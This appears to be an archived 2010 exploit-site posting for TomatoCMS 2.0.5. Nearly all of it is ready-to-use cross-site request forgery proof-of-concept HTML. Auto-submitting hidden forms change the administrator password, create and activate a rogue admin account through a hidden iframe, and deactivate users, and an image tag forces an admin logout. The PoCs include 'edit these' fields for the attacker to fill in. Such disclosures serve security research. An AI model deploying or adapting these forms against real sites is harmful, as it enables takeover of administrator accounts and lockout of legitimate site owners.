Home / os / win7

TomatoCMS 2.0.5 Multiple CSRF Vulnerabilities

Posted on 11 July 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>TomatoCMS 2.0.5 Multiple CSRF Vulnerabilities</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>============================================= TomatoCMS 2.0.5 Multiple CSRF Vulnerabilities ============================================= &lt;!--- Title: TomatoCMS 2.0.5 Multiple CSRF Vulnerabilities Author: 10n1z3d &lt;10n1z3d[at]w[dot]cn&gt; Date: Sun 11 Jul 2010 03:36:08 PM EEST Vendor: http://www.tomatocms.com/ Download: None ---&gt; -=[ CSRF PoC 1 - Change Administrator Password ]=- &lt;html&gt; &lt;head&gt; &lt;title&gt;TomatoCMS 2.0.5 Multiple CSRF Vulnerabilities - Change Admin Password&lt;/title&gt; &lt;/head&gt; &lt;body onload=&quot;document.csrf.submit();&quot;&gt; &lt;form name=&quot;csrf&quot; action=&quot;http://[domain]/index.php/admin/core/user/changepass&quot; method=&quot;post&quot;&gt; &lt;!--- Edit these ---&gt; &lt;input type=&quot;hidden&quot; name=&quot;password&quot; value=&quot;rootroot&quot; /&gt; &lt;input type=&quot;hidden&quot; name=&quot;passwordConfirm&quot; value=&quot;rootroot&quot; /&gt; &lt;/form&gt; &lt;/body&gt; &lt;/html&gt; -=[ CSRF PoC 2 - Create Admin User ]=- &lt;html&gt; &lt;head&gt; &lt;title&gt;TomatoCMS 2.0.5 Multiple CSRF Vulnerabilities - Create Admin User&lt;/title&gt; &lt;/head&gt; &lt;!--- Submit the first form and delay the second one to make sure the POST request is completed ---&gt; &lt;body onload=&quot;document.csrf1.submit();setTimeout('document.csrf2.submit();',5000);&quot;&gt; &lt;!--- We need this to submit the forms without redirects ---&gt; &lt;div style=&quot;visibility:hidden&quot;&gt; &lt;iframe name=&quot;ipwn&quot; width=&quot;20&quot; height=&quot;20&quot;&gt;&lt;/iframe&gt; &lt;/div&gt; &lt;!--- Creates the user ---&gt; &lt;form name=&quot;csrf1&quot; target=&quot;ipwn&quot; action=&quot;http://[domain]/index.php/admin/core/user/add&quot; method=&quot;post&quot;&gt; &lt;!--- Edit these ---&gt; &lt;input type=&quot;hidden&quot; name=&quot;full_name&quot; value=&quot;root&quot; /&gt; &lt;input type=&quot;hidden&quot; name=&quot;username&quot; value=&quot;root&quot; /&gt; &lt;input type=&quot;hidden&quot; name=&quot;email&quot; value=&quot;root@root.com&quot;/&gt; &lt;input type=&quot;hidden&quot; name=&quot;password&quot; value=&quot;rootroot&quot;/&gt; &lt;input type=&quot;hidden&quot; name=&quot;password2&quot; value=&quot;rootroot&quot; /&gt; &lt;!--- Do not edit below ---&gt; &lt;input type=&quot;hidden&quot; name=&quot;role&quot; value=&quot;1&quot; /&gt; &lt;/form&gt; &lt;!--- Activates the user ---&gt; &lt;form name=&quot;csrf2&quot; target=&quot;ipwn&quot; action=&quot;http://[domain]/index.php/admin/core/user/activate&quot; method=&quot;post&quot;&gt; &lt;!--- We are not sure about the user id but we can guess :) ---&gt; &lt;input type=&quot;hidden&quot; name=&quot;id&quot; value=&quot;2&quot; /&gt; &lt;!--- Do not edit below ---&gt; &lt;input type=&quot;hidden&quot; name=&quot;status&quot; value=&quot;0&quot; /&gt; &lt;/form&gt; &lt;/body&gt; &lt;/html&gt; -=[ CSRF PoC 3 - Deactivate User ]=- &lt;html&gt; &lt;head&gt; &lt;title&gt;TomatoCMS 2.0.5 Multiple CSRF Vulnerabilities - Deactivate User&lt;/title&gt; &lt;/head&gt; &lt;body onload=&quot;document.csrf.submit();&quot;&gt; &lt;form name=&quot;csrf&quot; action=&quot;http://[domain]/index.php/admin/core/user/activate&quot; method=&quot;post&quot;&gt; &lt;!--- Edit this ---&gt; &lt;input type=&quot;hidden&quot; name=&quot;id&quot; value=&quot;1&quot; /&gt; &lt;!--- Do not edit below ---&gt; &lt;input type=&quot;hidden&quot; name=&quot;status&quot; value=&quot;1&quot; /&gt; &lt;/form&gt; &lt;/body&gt; &lt;/html&gt; -=[ CSRF PoC 4 - Logout The Administrator ]=- &lt;img src=&quot;http://[domain]/index.php/core/auth/logout&quot; alt=&quot;Do you see this?&quot; /&gt; &lt;!--- http://www.evilzone.org/ irc.evilzone.org (6697 / 9999) ---&gt; # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-07-11]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP